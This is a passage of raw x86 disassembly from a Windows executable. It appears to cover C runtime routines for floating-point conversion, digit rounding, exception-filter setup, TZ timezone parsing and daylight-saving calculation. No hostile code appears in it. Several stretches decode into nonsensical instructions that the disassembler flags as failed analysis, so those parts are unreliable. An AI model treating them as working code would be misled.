arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42463D
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424528
		test	eax, eax
		pop	ecx
		jnz	loc_4246FC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42451C
		pop	ecx


loc_424635:				; CODE XREF: sub_4245D0+E4j
		push	2


loc_424637:				; CODE XREF: sub_4245D0+110j
		pop	eax
		jmp	loc_4246FE
; ---------------------------------------------------------------------------


loc_42463D:				; CODE XREF: sub_4245D0+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424501
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424475
		add	esp, 10h
		test	eax, eax
		jz	short loc_42465E
		inc	ebx


loc_42465E:				; CODE XREF: sub_4245D0+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424676
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42451C
		pop	ecx
		jmp	short loc_4246B2
; ---------------------------------------------------------------------------


loc_424676:				; CODE XREF: sub_4245D0+98j
		cmp	ebx, eax
		jg	short loc_4246B9
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424501
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424543
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424475
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424543
		add	esp, 20h


loc_4246B2:				; CODE XREF: sub_4245D0+A4j
		xor	esi, esi
		jmp	loc_424635
; ---------------------------------------------------------------------------


loc_4246B9:				; CODE XREF: sub_4245D0+A8j
		cmp	ebx, [edi]
		jl	short loc_4246E5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42451C
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424543
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424637
; ---------------------------------------------------------------------------


loc_4246E5:				; CODE XREF: sub_4245D0+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424543
		pop	ecx
		pop	ecx


loc_4246FC:				; CODE XREF: sub_4245D0+55j
		xor	eax, eax


loc_4246FE:				; CODE XREF: sub_4245D0+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42472D
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424737
; ---------------------------------------------------------------------------


loc_42472D:				; CODE XREF: sub_4245D0+14Ej
		cmp	edi, 20h
		jnz	short loc_424737
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424737:				; CODE XREF: sub_4245D0+15Bj
					; sub_4245D0+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4245D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42473C	proc near		; CODE XREF: sub_424768+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43F908
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4245D0
		add	esp, 0Ch
		retn
sub_42473C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424752	proc near		; CODE XREF: sub_424795+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43F920
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4245D0
		add	esp, 0Ch
		retn
sub_424752	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424768	proc near		; CODE XREF: sub_421BBB+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_425441
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42473C
		add	esp, 24h
		leave
		retn
sub_424768	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424795	proc near		; CODE XREF: sub_421BBB+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_425441
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424752
		add	esp, 24h
		leave
		retn
sub_424795	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4247C2	proc near		; CODE XREF: sub_421BF9+65p
					; sub_421CFD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4247FF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_4247E5:				; CODE XREF: sub_4247C2+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4247F1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4247F4
; ---------------------------------------------------------------------------


loc_4247F1:				; CODE XREF: sub_4247C2+27j
		push	30h
		pop	edx


loc_4247F4:				; CODE XREF: sub_4247C2+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4247E5
		mov	edx, [ebp+arg_8]


loc_4247FF:				; CODE XREF: sub_4247C2+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424818
		cmp	byte ptr [ecx],	35h
		jl	short loc_424818


loc_42480B:				; CODE XREF: sub_4247C2+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424816
		mov	byte ptr [eax],	30h
		jmp	short loc_42480B
; ---------------------------------------------------------------------------


loc_424816:				; CODE XREF: sub_4247C2+4Dj
		inc	byte ptr [eax]


loc_424818:				; CODE XREF: sub_4247C2+42j
					; sub_4247C2+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424822
		inc	dword ptr [edx+4]
		jmp	short loc_424834
; ---------------------------------------------------------------------------


loc_424822:				; CODE XREF: sub_4247C2+59j
		push	edi
		call	sub_41B1D0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CE80
		add	esp, 10h


loc_424834:				; CODE XREF: sub_4247C2+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4247C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424839	proc near		; CODE XREF: sub_421BF9+3Fp
					; sub_421CFD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42489D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DE0B0
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425912
		mov	ds:dword_4DE0D8, eax
		add	esp, 18h
		movsx	eax, ds:byte_4DE0B2
		mov	ds:dword_4DE0D0, eax
		pop	edi
		movsx	eax, ds:word_4DE0B0
		mov	ds:dword_4DE0D4, eax
		mov	ds:dword_4DE0DC, offset	dword_4DE0B4
		mov	eax, offset dword_4DE0D0
		pop	esi
		leave
		retn
sub_424839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42489D	proc near		; CODE XREF: sub_424839+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4248EB
		cmp	ebx, edi
		jz	short loc_4248E4
		lea	edi, [ecx+3C00h]
		jmp	short loc_42490C
; ---------------------------------------------------------------------------


loc_4248E4:				; CODE XREF: sub_42489D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42490C
; ---------------------------------------------------------------------------


loc_4248EB:				; CODE XREF: sub_42489D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424903
		cmp	edx, ebx
		jnz	short loc_424903
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_42494E
; ---------------------------------------------------------------------------


loc_424903:				; CODE XREF: sub_42489D+52j
					; sub_42489D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_42490C:				; CODE XREF: sub_42489D+45j
					; sub_42489D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424924:				; CODE XREF: sub_42489D+A6j
		test	ecx, esi
		jnz	short loc_424945
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424924
; ---------------------------------------------------------------------------


loc_424945:				; CODE XREF: sub_42489D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_42494E:				; CODE XREF: sub_42489D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42489D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DC49
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42495C	proc near		; DATA XREF: sub_4249A2o
					; seg002:0043F548o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42497F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42497F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42497F
		jmp	sub_42277C
; ---------------------------------------------------------------------------


loc_42497F:				; CODE XREF: sub_42495C+Dj
					; sub_42495C+13j ...
		mov	eax, ds:dword_4DE0E0
		test	eax, eax
		jz	short loc_42499C
		push	eax
		call	near ptr loc_4249F3+5
		test	eax, eax
		pop	ecx
		jz	short loc_42499C
		push	esi
		call	ds:dword_4DE0E0
		jmp	short loc_42499E
; ---------------------------------------------------------------------------


loc_42499C:				; CODE XREF: sub_42495C+2Aj
					; sub_42495C+35j
		xor	eax, eax


loc_42499E:				; CODE XREF: sub_42495C+3Ej
		pop	esi
		retn	4
sub_42495C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249A2	proc near		; DATA XREF: seg002:0042A02Co
		push	offset sub_42495C
		call	ds:dword_42801C	; SetUnhandledExceptionFilter
		mov	ds:dword_4DE0E0, eax
		retn
sub_4249A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249B3	proc near		; DATA XREF: seg002:0042A044o
		push	ds:dword_4DE0E0
		call	ds:dword_42801C	; SetUnhandledExceptionFilter
		retn
sub_4249B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249C0	proc near		; CODE XREF: sub_421FD1+6Bp
					; sub_4224E2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0B10000h
		mov	ch, 85h
		sal	byte ptr [edx+eax+33h],	0F6h
		mov	eax, esi
		pop	esi
		retn
sub_4249C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DC	proc near		; CODE XREF: sub_4224E2+73p
					; sub_4224E2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0B10000h
		test	[ebp+330274C0h], al


loc_4249F3:				; CODE XREF: sub_4224E2+15Bp
					; sub_42495C+2Dp
		test	byte ptr [ebx+56C35EC6h], 6Ah
sub_4249DC	endp ; sp-analysis failed

		add	[esi-1], ebx
		jz	short near ptr loc_424A22+1
		or	al, ch
		sti
		mov	ch, 6Eh
		add	[ebx-7Bh], ch
		sal	byte ptr [edx+eax+33h],	0F6h
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42277C


loc_424A10:				; CODE XREF: sub_42277C:loc_4227CDj
		push	0Ah
		call	sub_4238CD
		push	16h
		call	sub_425BA5
		pop	ecx
		pop	ecx
		push	3


loc_424A22:				; CODE XREF: seg000:004249FDj
		call	sub_41B9B2
; END OF FUNCTION CHUNK	FOR sub_42277C

; =============== S U B	R O U T	I N E =======================================



sub_424A27	proc near		; CODE XREF: seg000:loc_4228C8p
		cmp	ds:dword_4DE1A0, 0
		jnz	short locret_424A3B
		call	sub_424A3C
		inc	ds:dword_4DE1A0

locret_424A3B:				; CODE XREF: sub_424A27+7j
		retn
sub_424A27	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A3C	proc near		; CODE XREF: sub_424A27+9p

var_4		= dword	ptr -4
arg_C		= byte ptr  10h

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	ds:dword_4DE0E8, ebp
		mov	ds:dword_43F9E0, ebx
		mov	ds:dword_43F9D0, ebx
		call	sub_425D17
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424B65
		push	offset dword_4DE0F0
		call	near ptr 0B10000h
		adc	[ebx], edi
		retn
; ---------------------------------------------------------------------------
		jz	loc_424C94
		mov	eax, ds:dword_4DE0F0
		mov	ecx, ds:dword_4DE144
		imul	eax, 3Ch
		cmp	ds:word_4DE136,	bp
		push	1
		pop	edx
		mov	ds:dword_43F938, eax
		mov	ds:dword_4DE0E8, edx
		jz	short loc_424AB3
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	ds:dword_43F938, eax


loc_424AB3:				; CODE XREF: sub_424A3C+69j
		cmp	ds:word_4DE18A,	bp
		jz	short loc_424AD7
		mov	eax, ds:dword_4DE198
		cmp	eax, ebp
		jz	short loc_424AD7
		sub	eax, ecx
		mov	ds:dword_43F93C, edx
		imul	eax, 3Ch
		mov	ds:dword_43F940, eax
		jmp	short loc_424AE3
; ---------------------------------------------------------------------------


loc_424AD7:				; CODE XREF: sub_424A3C+7Ej
					; sub_424A3C+87j
		mov	ds:dword_43F93C, ebp
		mov	ds:dword_43F940, ebp


loc_424AE3:				; CODE XREF: sub_424A3C+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, ds:dword_428180
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	ds:off_43F9C4
		push	ebx
		push	offset dword_4DE0F4
		push	edi
		push	ds:dword_4DDF84
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_424B20
		cmp	dword ptr [esp+arg_C], ebp
		jnz	short loc_424B20
		mov	eax, ds:off_43F9C4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_424B28
; ---------------------------------------------------------------------------


loc_424B20:				; CODE XREF: sub_424A3C+D1j
					; sub_424A3C+D7j
		mov	eax, ds:off_43F9C4
		and	byte ptr [eax],	0


loc_424B28:				; CODE XREF: sub_424A3C+E2j
		lea	eax, [esp+arg_C]
		push	eax
		push	ebp
		push	3Fh
		push	ds:off_43F9C8
		push	ebx
		push	offset dword_4DE148
		push	edi
		push	ds:dword_4DDF84
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_424C8C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424C8C
		mov	eax, ds:off_43F9C8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424C94
; ---------------------------------------------------------------------------


loc_424B65:				; CODE XREF: sub_424A3C+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424C94
		mov	eax, ds:dword_4DE19C
		cmp	eax, ebp
		jz	short loc_424B88
		push	eax
		push	esi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424C94


loc_424B88:				; CODE XREF: sub_424A3C+139j
		push	ds:dword_4DE19C
		call	sub_41B2A1
		push	esi
		call	sub_41B1D0
		inc	eax
		push	eax
		call	sub_41B6C5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	ds:dword_4DE19C, eax
		jz	loc_424C94
		push	esi
		push	eax
		call	sub_41C0A0
		push	3
		push	esi
		push	ds:off_43F9C4
		call	sub_41B7E0
		mov	eax, ds:off_43F9C4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_424BDD
		push	1
		inc	esi
		pop	edi


loc_424BDD:				; CODE XREF: sub_424A3C+19Bj
		push	esi
		call	sub_41B8DE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	ds:dword_43F938, ecx


loc_424BF4:				; CODE XREF: sub_424A3C+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_424C02
		cmp	al, bl
		jl	short loc_424C05
		cmp	al, 39h
		jg	short loc_424C05


loc_424C02:				; CODE XREF: sub_424A3C+1BCj
		inc	esi
		jmp	short loc_424BF4
; ---------------------------------------------------------------------------


loc_424C05:				; CODE XREF: sub_424A3C+1C0j
					; sub_424A3C+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424C58
		inc	esi
		push	esi
		call	sub_41B8DE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, ds:dword_43F938
		add	ecx, eax
		mov	ds:dword_43F938, ecx


loc_424C23:				; CODE XREF: sub_424A3C+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424C30
		cmp	al, 39h
		jg	short loc_424C30
		inc	esi
		jmp	short loc_424C23
; ---------------------------------------------------------------------------


loc_424C30:				; CODE XREF: sub_424A3C+1EBj
					; sub_424A3C+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424C58
		inc	esi
		push	esi
		call	sub_41B8DE
		pop	ecx
		mov	ecx, ds:dword_43F938
		add	ecx, eax
		mov	ds:dword_43F938, ecx


loc_424C4B:				; CODE XREF: sub_424A3C+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424C58
		cmp	al, 39h
		jg	short loc_424C58
		inc	esi
		jmp	short loc_424C4B
; ---------------------------------------------------------------------------


loc_424C58:				; CODE XREF: sub_424A3C+1CCj
					; sub_424A3C+1F7j ...
		cmp	edi, ebp
		jz	short loc_424C64
		neg	ecx
		mov	ds:dword_43F938, ecx


loc_424C64:				; CODE XREF: sub_424A3C+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	ds:dword_43F93C, eax
		jz	short loc_424C8C
		push	3
		push	esi
		push	ds:off_43F9C8
		call	sub_41B7E0
		mov	eax, ds:off_43F9C8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424C94
; ---------------------------------------------------------------------------


loc_424C8C:				; CODE XREF: sub_424A3C+10Bj
					; sub_424A3C+115j ...
		mov	eax, ds:off_43F9C8
		and	byte ptr [eax],	0


loc_424C94:				; CODE XREF: sub_424A3C+40j
					; sub_424A3C+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_424A3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424C9A	proc near		; CODE XREF: seg000:0042292Ep

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_43F93C, edi
		jnz	short loc_424CAE


loc_424CA7:				; CODE XREF: sub_424C9A+148j
					; sub_424C9A+150j ...
		xor	eax, eax
		jmp	loc_424DFA
; ---------------------------------------------------------------------------


loc_424CAE:				; CODE XREF: sub_424C9A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, ds:dword_43F9D0
		jnz	short loc_424CCC
		cmp	eax, ds:dword_43F9E0
		jz	loc_424DCE


loc_424CCC:				; CODE XREF: sub_424C9A+24j
		cmp	ds:dword_4DE0E8, edi
		jz	loc_424DA4
		movzx	ecx, ds:word_4DE196
		push	ecx
		cmp	ds:word_4DE188,	di
		movzx	ecx, ds:word_4DE194
		push	ecx
		movzx	ecx, ds:word_4DE192
		push	ecx
		movzx	ecx, ds:word_4DE190
		push	ecx
		jnz	short loc_424D1E
		movzx	ecx, ds:word_4DE18C
		push	edi
		push	ecx
		movzx	ecx, ds:word_4DE18E
		push	ecx
		movzx	ecx, ds:word_4DE18A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424D1E:				; CODE XREF: sub_424C9A+65j
		movzx	ecx, ds:word_4DE18E
		push	ecx
		push	edi
		movzx	ecx, ds:word_4DE18A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424D32:				; CODE XREF: sub_424C9A+82j
		push	ebx
		call	sub_424E46
		movzx	eax, ds:word_4DE142
		add	esp, 2Ch
		cmp	ds:word_4DE134,	di
		push	eax
		movzx	eax, ds:word_4DE140
		push	eax
		movzx	eax, ds:word_4DE13E
		push	eax
		movzx	eax, ds:word_4DE13C
		push	eax
		jnz	short loc_424D8C
		movzx	eax, ds:word_4DE138
		push	edi
		push	eax
		movzx	eax, ds:word_4DE13A
		push	eax
		movzx	eax, ds:word_4DE136
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424D81:				; CODE XREF: sub_424C9A+108j
		push	edi
		call	sub_424E46
		add	esp, 2Ch
		jmp	short loc_424DCE
; ---------------------------------------------------------------------------


loc_424D8C:				; CODE XREF: sub_424C9A+C8j
		movzx	eax, ds:word_4DE13A
		push	eax
		push	edi
		movzx	eax, ds:word_4DE136
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424D81
; ---------------------------------------------------------------------------


loc_424DA4:				; CODE XREF: sub_424C9A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424E46
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424E46
		add	esp, 58h


loc_424DCE:				; CODE XREF: sub_424C9A+2Cj
					; sub_424C9A+F0j
		mov	edx, ds:dword_43F9D4
		mov	eax, ds:dword_43F9E4
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424DFE
		cmp	ecx, edx
		jl	loc_424CA7
		cmp	ecx, eax
		jg	loc_424CA7
		cmp	ecx, edx
		jle	short loc_424E12
		cmp	ecx, eax
		jge	short loc_424E12


loc_424DF8:				; CODE XREF: sub_424C9A+166j
					; sub_424C9A+16Aj
		mov	eax, ebx


loc_424DFA:				; CODE XREF: sub_424C9A+Fj
					; sub_424C9A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFE:				; CODE XREF: sub_424C9A+144j
		cmp	ecx, eax
		jl	short loc_424DF8
		cmp	ecx, edx
		jg	short loc_424DF8
		cmp	ecx, eax
		jle	short loc_424E12
		cmp	ecx, edx
		jl	loc_424CA7


loc_424E12:				; CODE XREF: sub_424C9A+158j
					; sub_424C9A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424E39
		xor	ecx, ecx
		cmp	eax, ds:dword_43F9D8
		setnl	cl


loc_424E35:				; CODE XREF: sub_424C9A+1AAj
		mov	eax, ecx
		jmp	short loc_424DFA
; ---------------------------------------------------------------------------


loc_424E39:				; CODE XREF: sub_424C9A+18Ej
		xor	ecx, ecx
		cmp	eax, ds:dword_43F9E8
		setl	cl
		jmp	short loc_424E35
sub_424C9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E46	proc near		; CODE XREF: sub_424C9A+99p
					; sub_424C9A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424EE1
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424E71
		shl	esi, 2
		mov	eax, ds:dword_43F9E8[esi]
		jmp	short loc_424E7A
; ---------------------------------------------------------------------------


loc_424E71:				; CODE XREF: sub_424E46+1Ej
		shl	esi, 2
		mov	eax, ds:dword_43FA1C[esi]


loc_424E7A:				; CODE XREF: sub_424E46+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424EB4
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424EBE
; ---------------------------------------------------------------------------


loc_424EB4:				; CODE XREF: sub_424E46+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424EBE:				; CODE XREF: sub_424E46+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424EFC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424ED2
		mov	esi, ds:dword_43F9EC[esi]
		jmp	short loc_424ED8
; ---------------------------------------------------------------------------


loc_424ED2:				; CODE XREF: sub_424E46+82j
		mov	esi, ds:dword_43FA20[esi]


loc_424ED8:				; CODE XREF: sub_424E46+8Aj
		cmp	ecx, esi
		jle	short loc_424EFC
		sub	ecx, 7
		jmp	short loc_424EFC
; ---------------------------------------------------------------------------


loc_424EE1:				; CODE XREF: sub_424E46+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424EF2
		mov	ecx, ds:dword_43F9E8[eax*4]
		jmp	short loc_424EF9
; ---------------------------------------------------------------------------


loc_424EF2:				; CODE XREF: sub_424E46+A1j
		mov	ecx, ds:dword_43FA1C[eax*4]


loc_424EF9:				; CODE XREF: sub_424E46+AAj
		add	ecx, [ebp+arg_18]


loc_424EFC:				; CODE XREF: sub_424E46+7Cj
					; sub_424E46+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424F2D
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_43F9D4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	ds:dword_43F9D0, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_43F9D8, eax
		jmp	short loc_424F82
